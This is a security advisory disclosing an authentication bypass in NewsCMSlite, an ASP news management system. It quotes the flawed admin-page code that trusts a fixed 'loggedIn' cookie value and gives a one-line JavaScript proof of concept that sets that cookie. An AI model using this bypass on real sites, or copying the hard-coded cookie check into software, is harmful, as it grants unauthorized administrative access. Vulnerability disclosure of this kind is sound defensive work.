NewsCMSlite Insecure Cookie Handling

`########################## www.BugReport.ir #########################  
#  
# AmnPardaz Security Research Team  
#  
# Title: NewsCMSlite  
# Vendor: http://www.katywhitton.com  
# Bug: Insecure Cookie Handling  
# Exploitation: Remote with browser  
# Fix: N/A  
# Original Advisory: http://www.bugreport.ir/index_62.htm  
###################################################################  
  
  
####################  
- Description:  
####################  
  
NewsCMSlite is an easy way to get regularly updated content onto your   
site without the need for programming skills or employing a Web   
Maintenance engineer.  
  
The system allows you to update your news, articles, diary   
etc.dynamically using an Access Database to store the content.  
  
####################  
- Vulnerability:  
####################  
  
+-->Insecure Cookie Handling  
  
Because of improper access restriction to the administration section,   
It is possible to bypass the authentication mechanism and gain access   
to the  
  
administration section by setting the "loggedIn" cookie to "xY1zZoPQ"  
  
  
  
Code Snippet:  
/newsadmin.asp #line:73-101  
  
if pageView="login" THEN  
' Nothing  
ELSE  
  
if (Request.Cookies("loggedIn")="") OR   
(Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN  
%>  
<p><div align="center">  
.  
.  
.  
<%  
ELSE  
%>  
<%if pageView="" THEN  
  
' The User is logged in with permission  
' to view the admin section so we  
' display the article list and  
' options menu  
  
####################  
- POC:  
####################  
  
javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"  
  
####################  
- Solution:  
####################  
  
Restrict and grant only trusted users access to the resources. Edit   
the source code to ensure that inputs are properly sanitized.  
  
####################  
- Credit :  
####################  
AmnPardaz Security Research & Penetration Testing Team  
Contact: admin[4t}bugreport{d0t]ir  
www.BugReport.ir  
www.AmnPardaz.com  
`